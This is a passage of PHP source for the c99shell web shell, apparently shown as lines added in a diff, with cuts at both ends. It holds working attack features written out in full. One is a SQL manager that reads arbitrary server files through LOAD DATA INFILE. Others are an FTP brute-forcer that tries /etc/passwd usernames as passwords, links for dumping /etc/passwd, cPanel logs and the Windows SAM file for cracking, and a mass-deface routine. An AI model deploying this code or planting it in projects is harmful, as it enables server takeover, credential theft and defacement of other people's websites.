href=\"".$surl."act=ls&d=".$letter.":\">[ ".$letter." ]</a> ";} + else {$letters .= "<a href=\"".$surl."act=ls&d=".$letter.":\">[ <font color=\"green\">".$letter."</font> ]</a> ";} + } + } + if (!empty($letters)) {echo "<br><b>Detected drives</b>: ".$letters;} +} +?></p></td></tr></table><br><?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) +{ + ?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php echo $donated_html; ?></td></tr></table><br><?php +} +?><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_error(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_error();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");} + else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");} + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td>Username</td><td align=right>Password&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td align=right><input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr><td>HOST</td><td>PORT</td></tr><tr><td><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_error();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b> +"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_error();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + echo "<option value=\"\">Databases (...)</option> +"; + $c = 0; + while ($row = mysql_fetch_row($result)) {echo "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {echo " selected";} echo ">".$row[0]."</option> +"; $c++;} + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + if ($sql_db) + { + echo "<center><b>There are ".$c." tables in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} + echo "</b></center>"; + + $acts = array("","dump"); + + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if ($submit) + { + if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + } + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"60\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>SQL-Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtpl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} + } + elseif ($sql_act == "dump") + { + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "print"; + if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;} + elseif ($dump_out == "download") + { + @ob_clean(); + header("Content-type: c99shell"); + header("Content-disposition: attachment; filename=\"".$f."\";"); + $set["print"] = 1; + $set["nl2br"] = 1; + } + $set["file"] = $dump_file; + $set["add_drop"] = true; + $ret = mysql_dump($set); + if ($dump_out == "download") {exit;} + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error()); + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 cellPadding=1 bgColor=#333333 borderColorLight=#333333 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>"; + echo "<td><center><b>Table</b></center></td>"; + echo "<td><b>Rows</b></td>"; + echo "<td><b>Type</b></td>"; + echo "<td><b>Created</b></td>"; + echo "<td><b>Modified</b></td>"; + echo "<td><b>Size</b></td>"; + echo "<td><b>Action</b></td>"; + echo "</tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) + { + $tsize += $row["5"]; + $trows += $row["5"]; + $size = view_size($row["5"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row[0]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".$row[0]."</b></a>&nbsp;</td>"; + echo "<td>".$row[3]."</td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td>".$size."</td>"; + echo "<td> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row[0]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" height=\"13\" width=\"11\" border=\"0\"></a> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" height=\"13\" width=\"11\" border=\"0\"></a> +<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$surl."act=img&img=sql_button_insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp; +</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b></b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"actselect\"> +<option>With selected:</option> +<option value=\"drop\" >Drop</option> +<option value=\"empty\" >Empty</option> +<option value=\"chk\">Check table</option> +<option value=\"Optimize table\">Optimize table</option> +<option value=\"Repair table\">Repair table</option> +<option value=\"Analyze table\">Analyze table</option> +</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form>"; + mysql_free_result($result); + } + } + } + else + { + $acts = array("","newdb","serverstat","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + elseif (($sql_act == "getfile")) + { + if (!mysql_create_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();} + elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();} + else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {foreach ($line as $key =>$col_value) {$f .= $col_value;}} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f));} + } + mysql_free_result($result); + if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");} + } + } + } + } + } + echo "</tr></table></table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) {if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}} + echo "<br><br>"; + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if ($win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) + { + if (!in_array($sh,array("/bin/bash","/bin/sh","/usr/local/cpanel/bin/jailshell"))) {$true = false;} + else {$true = true;} + } + else {$true = true;} + if ($true) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return true; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + $success++; + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!<br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=\"green\"><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br><b>Connects per second: ".round($i/$ftpquick_t,2)."</b><br>"; + } + } + else {echo "<form method=\"POST\"><br>Read first: <input type=\"text\" name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br><input type=\"submit\" name=\"submit\" value=\"Brute\"></form>";} + } +} +if ($act == "lsa") +{ + echo "<center><b>Server security information:</b></center>"; + echo "<b>Software:</b> ".PHP_OS.", ".$SERVER_SOFTWARE."<br>"; + echo "<b>Safe-Mode: ".$hsafemode."</b><br>"; + echo "<b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + $num = $nixpasswd + $nixpwdperpage; + echo "<b>*nix /etc/passwd:</b><br>"; + $i = $nixpasswd; + while ($i < $num) + { + $uid = posix_getpwuid($i); + if ($uid) {echo join(":",$uid)."<br>";} + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=lsa&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/usr/local/apache/conf/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=\"green\"><a href=\"".$surl."act=f&f=httpd.conf&d=/etc/&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=\"red\">You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=\"green\">You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+.</font></b><br>";} + } +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else + { + echo "<b>File-System buffer</b><br><br>"; + $ls_arr = $arr; + $disp_fullpath = true; + $act = "ls"; + } +} +if ($act == "selfremove") +{ + if (!empty($submit)) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99shell v.".$shver."!"; exit; } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + $v = array(); + for($i=0;$i<8;$i++) {$v[] = "<a href=\"".$surl."\"><u><b>NO</b></u></a>";} + $v[] = "<a href=\"#\" onclick=\"if (confirm('Are you sure?')) document.location='".$surl."act=selfremove&submit=1';\"><u>YES</u></a>"; + shuffle($v); + $v = join("&nbsp;&nbsp;&nbsp;",$v); + echo "<b>Self-remove: ".__FILE__." <br>Are you sure?</b><center>".$v."</center>"; + } +} +if ($act == "massdeface") +{ + if (empty($deface_in)) {$deface_in = $d;} + if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;} + if (empty($deface_text_wwo)) {$deface_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + + $text = $deface_text; + $text_regexp = $deface_text_regexp; + if (empty($text)) {$text = " "; $text_regexp = 1;} + + $a = array + ( + "name"=>$deface_name, "name_regexp"=>$deface_name_regexp, + "text"=>$text, "text_regexp"=>$text_regxp, + "text_wwo"=>$deface_text_wwo, + "text_cs"=>$deface_text_cs, + "text_not"=>$deface_text_not + ); + $defacetime = getmicrotime(); + $in = array_unique(explode(";",$deface_in)); + foreach($in as $v) {c99fsearch($v);} + $defacetime = round(getmicrotime()-$defacetime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = $dspact = "ls"; + } + } + else + { + if (empty($deface_preview)) {$deface_preview = 1;} + if (empty($deface_html)) {$deface_html = "</div></table><br>Mass-defaced with c99shell v. ".$shver.", coded by tristram[<a href=\"http://ccteam.ru\">CCTeaM</a>].</b>";} + } + echo "<form method=\"POST\">"; + if (!$submit) {echo "<big><b>Attention! It's a very dangerous feature, you may lost your data.</b></big><br><br>";} + echo "<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Deface for (file/directory name): </b><input type=\"text\" name=\"deface_name\" size=\"".round(strlen($deface_name)+25)."\" value=\"".htmlspecialchars($deface_name)."\">&nbsp;<input type=\"checkbox\" name=\"deface_name_regexp\" value=\"1\" ".gchds($deface_name_regexp,1," checked")."> - regexp +<br><b>Deface in (explode \";\"): </b><input type=\"text\" name=\"deface_in\" size=\"".round(strlen($deface_in)+25)."\" value=\"".htmlspecialchars($deface_in)."\"> +<br><br><b>Search text:</b><br><textarea name=\"deface_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"deface_text_regexp\" value=\"1\" ".gchds($deface_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_wwo\" value=\"1\" ".gchds($deface_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_cs\" value=\"1\" ".gchds($deface_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"deface_text_not\" value=\"1\" ".gchds($deface_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><input type=\"checkbox\" name=\"deface_preview\" value=\"1\" ".gchds($deface_preview,1," checked")."> - <b>PREVIEW AFFECTED FILES</b> +<br><br><b>Html of deface:</b><br><textarea name=\"deface_html\" cols=\"122\" rows=\"10\">".htmlspecialchars($deface_html)."</textarea> +<br><br><input type=\"submit\" name=\"submit\" value=\"Deface\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Deface took ".$defacetime." secs</b><br><br>";} +} +if ($act == "search") +{ + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) + { + c99fsearch($v); + } + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = true; + $act = $dspact = "ls"; + } + } + echo "<form method=\"POST\"> +<input type=\"hidden\" name=\"d\" value=\"".$dispd."\"> +<b>Search for (file/directory name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".gchds($search_name_regexp,1," checked")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".gchds($search_text_regexp,1," checked")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".gchds($search_text_wwo,1," checked")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".gchds($search_text_cs,1," checked")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".gchds($search_text_not,1," checked")."> - find files <u>NOT</u> containing the text +<br><br><input type=\"submit\" name=\"submit\" value=\"Search\"></form>"; + if ($act == "ls") {echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs</b><br><br>";} +} +if ($act == "chmod") +{ + $perms = fileperms($d.$f); + if (!$perms) {echo "Can't get current mode.";} + elseif ($submit) + { + if (!isset($owner[0])) {$owner[0] = 0;} + if (!isset($owner[1])) {$owner[1] = 0; } + if (!isset($owner[2])) {$owner[2] = 0;} + if (!isset($group[0])) {$group[0] = 0;} + if (!isset($group[1])) {$group[1] = 0;} + if (!isset($group[2])) {$group[2] = 0;} + if (!isset($world[0])) 